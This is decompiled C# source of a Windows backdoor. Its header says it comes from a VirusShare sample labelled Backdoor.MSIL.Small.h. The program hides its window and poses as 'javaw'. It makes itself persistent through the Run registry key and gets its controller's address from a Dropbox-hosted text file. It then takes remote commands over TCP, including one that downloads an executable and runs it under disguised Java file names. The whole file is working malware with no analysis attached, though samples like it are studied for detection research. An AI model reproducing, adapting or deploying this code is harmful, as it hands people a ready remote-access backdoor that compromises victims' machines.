// Decompiled with JetBrains decompiler
// Type: javaw.Form1
// Assembly: javaw, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: C2EBC363-26CF-4652-928D-60BDCC82A751
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6.exe

using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;

namespace javaw
{
  public class Form1 : Form
  {
    private const int WM_SYSCOMMAND = 274;
    private const int SC_MONITORPOWER = 61808;
    private const int HWND_BROADCAST = 65535;
    private Socket CLIENT;
    private Thread CONNECTING;
    private IContainer components = (IContainer) null;

    [DllImport("user32.dll")]
    private static extern int SendMessage(int hWnd, int hMsg, int wParam, int lParam);

    public Form1() => this.InitializeComponent();

    private void Form1_Load(object sender, EventArgs e)
    {
      this.WindowState = FormWindowState.Minimized;
      this.Hide();
      try
      {
        if (e != null)
        {
          if (e.ToString().Contains("Update"))
          {
            Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("Javax", (object) Application.ExecutablePath.ToString());
            foreach (Process process in Process.GetProcesses())
            {
              try
              {
                if (process.Modules[0].FileName == e.ToString().Split('|')[1])
                {
                  process.Kill();
                  Thread.Sleep(10000);
                  if (System.IO.File.Exists(e.ToString().Split('|')[1]))
                    System.IO.File.Delete(e.ToString().Split('|')[1]);
                }
              }
              catch (Win32Exception ex)
              {
              }
            }
          }
          else if (e.ToString().Contains("First"))
            Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("Javax", (object) Application.ExecutablePath.ToString());
        }
      }
      catch (Exception ex)
      {
        int num = (int) MessageBox.Show(ex.ToString());
      }
      this.CONNECTING = new Thread(new ThreadStart(this.Connect));
      this.CONNECTING.Start();
    }

    private void Connect()
    {
      WebClient webClient = new WebClient();
      this.CLIENT = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
      while (!this.CLIENT.Connected)
      {
        try
        {
          this.CLIENT.Connect(webClient.DownloadString("http://dl.dropbox.com/u/7751171/IP%20Address.txt"), 1234);
          Thread.Sleep(10000);
        }
        catch (Exception ex)
        {
          int num = (int) MessageBox.Show(ex.ToString());
        }
      }
      this.ListenForCommands();
    }

    private void ListenForCommands()
    {
      byte[] numArray1 = new byte[98301];
      try
      {
        while (true)
        {
          while (this.CLIENT.Connected)
          {
            byte[] numArray2 = new byte[98301];
            int length = this.CLIENT.Receive(numArray2, numArray2.Length, SocketFlags.None);
            string[] strArray = Encoding.ASCII.GetString(numArray2).Substring(0, length).Split('|');
            string str = strArray[0];
            numArray1 = (byte[]) null;
            numArray1 = new byte[98301];
            if (str == "MESSAGEBOX" && strArray.Length > 1)
              new Thread(new ParameterizedThreadStart(this.MessageBoxThat)).Start((object) strArray[1]);
            if (str == "BEEP" && strArray.Length > 2)
              new Thread(new ParameterizedThreadStart(this.WindowsBeep)).Start((object) (strArray[1] + ":" + strArray[2]));
            if (str == "MONITOROFF")
              Form1.SendMessage((int) ushort.MaxValue, 274, 61808, 2);
            if (str == "UPDATE")
            {
              try
              {
                long int64 = Convert.ToInt64(strArray[1]);
                this.SendCommand("READYTORECIEVE", "");
                long num = 0;
                FileStream fileStream = new FileStream(Application.StartupPath + "\\abcdefghijklmnopzzzz.exe", FileMode.Create, FileAccess.Write);
                NetworkStream networkStream = new NetworkStream(this.CLIENT);
                byte[] buffer = new byte[1];
                int count;
                for (; num < int64; num += (long) count)
                {
                  count = networkStream.Read(buffer, 0, buffer.Length);
                  fileStream.Write(buffer, 0, count);
                }
                fileStream.Close();
                fileStream.Dispose();
                networkStream.Close();
                networkStream.Dispose();
                this.SendCommand("UPDATESUCCESS", "");
                System.IO.File.SetAttributes(Application.StartupPath + "\\abcdefghijklmnopzzzz.exe", FileAttributes.Hidden);
                string path = "";
                if (!System.IO.File.Exists("C:\\Program Files\\Java\\javaw.exe"))
                {
                  path = "C:\\Program Files\\Java\\javaw.exe";
                  System.IO.File.Copy(Application.StartupPath + "\\abcdefghijklmnopzzzz.exe", "C:\\Program Files\\Java\\javax.exe");
                }
                else if (!System.IO.File.Exists("C:\\Program Files\\Java\\javas.exe"))
                {
                  path = "C:\\Program Files\\Java\\javas.exe";
                  System.IO.File.Copy(Application.StartupPath + "\\abcdefghijklmnopzzzz.exe", "C:\\Program Files\\Java\\javaz.exe");
                }
                else
                  this.SendCommand("COPYINGFAILED", "");
                try
                {
                  if (System.IO.File.Exists(path))
                  {
                    this.CLIENT.Disconnect(false);
                    new Process()
                    {
                      StartInfo = {
                        FileName = "",
                        Arguments = ("Update|" + Application.ExecutablePath)
                      }
                    }.Start();
                  }
                  else
                    this.SendCommand("UPDATEFAILEDSTART", "Could not find file");
                }
                catch (Exception ex)
                {
                  this.SendCommand("UPDATEFAILEDSTART", ex.ToString());
                }
              }
              catch (Exception ex)
              {
                this.SendCommand("FAILEDUPDATE", ex.ToString());
              }
            }
          }
          this.Connect();
        }
      }
      catch (Exception ex)
      {
        int num = (int) MessageBox.Show(ex.ToString());
      }
    }

    private void MessageBoxThat(object Text)
    {
      try
      {
        int num = (int) MessageBox.Show(Text.ToString());
        Thread.Sleep(500);
      }
      catch (Exception ex)
      {
        int num = (int) MessageBox.Show(ex.ToString());
      }
    }

    private void WindowsBeep(object Noise)
    {
      try
      {
        string[] strArray = Noise.ToString().Split(':');
        Console.Beep(Convert.ToInt32(strArray[0]), Convert.ToInt32(strArray[1]));
      }
      catch (Exception ex)
      {
        int num = (int) MessageBox.Show(ex.ToString());
      }
    }

    private void Form1_FormClosing(object sender, FormClosingEventArgs e)
    {
      try
      {
        if (this.CLIENT.Connected)
        {
          this.CLIENT.Disconnect(false);
          this.CLIENT.Close();
          this.CLIENT.Dispose();
        }
        else
        {
          this.CLIENT.Close();
          this.CLIENT.Dispose();
        }
      }
      catch (Exception ex)
      {
        int num = (int) MessageBox.Show(ex.ToString());
      }
    }

    private void SendCommand(string Command, string Parameters)
    {
      try
      {
        if (this.CLIENT != null)
        {
          if (this.CLIENT.Connected)
          {
            try
            {
              byte[] bytes = Encoding.ASCII.GetBytes(Parameters.Length <= 0 ? Command : Command + "|" + Parameters);
              this.CLIENT.Send(bytes, bytes.Length, SocketFlags.None);
            }
            catch (Exception ex)
            {
              int num = (int) MessageBox.Show(ex.ToString());
            }
          }
          else
          {
            int num1 = (int) MessageBox.Show("Couldn't send command, not connected to Client");
          }
        }
        else
        {
          int num2 = (int) MessageBox.Show("Couldn't send command, not connected to Client");
        }
      }
      catch (Exception ex)
      {
        int num = (int) MessageBox.Show(ex.ToString());
      }
    }

    protected override void Dispose(bool disposing)
    {
      if (disposing && this.components != null)
        this.components.Dispose();
      base.Dispose(disposing);
    }

    private void InitializeComponent()
    {
      this.SuspendLayout();
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      this.ClientSize = new Size(116, 0);
      this.Name = nameof (Form1);
      this.Text = "javaw";
      this.WindowState = FormWindowState.Minimized;
      this.FormClosing += new FormClosingEventHandler(this.Form1_FormClosing);
      this.Load += new EventHandler(this.Form1_Load);
      this.ResumeLayout(false);
    }
  }
}
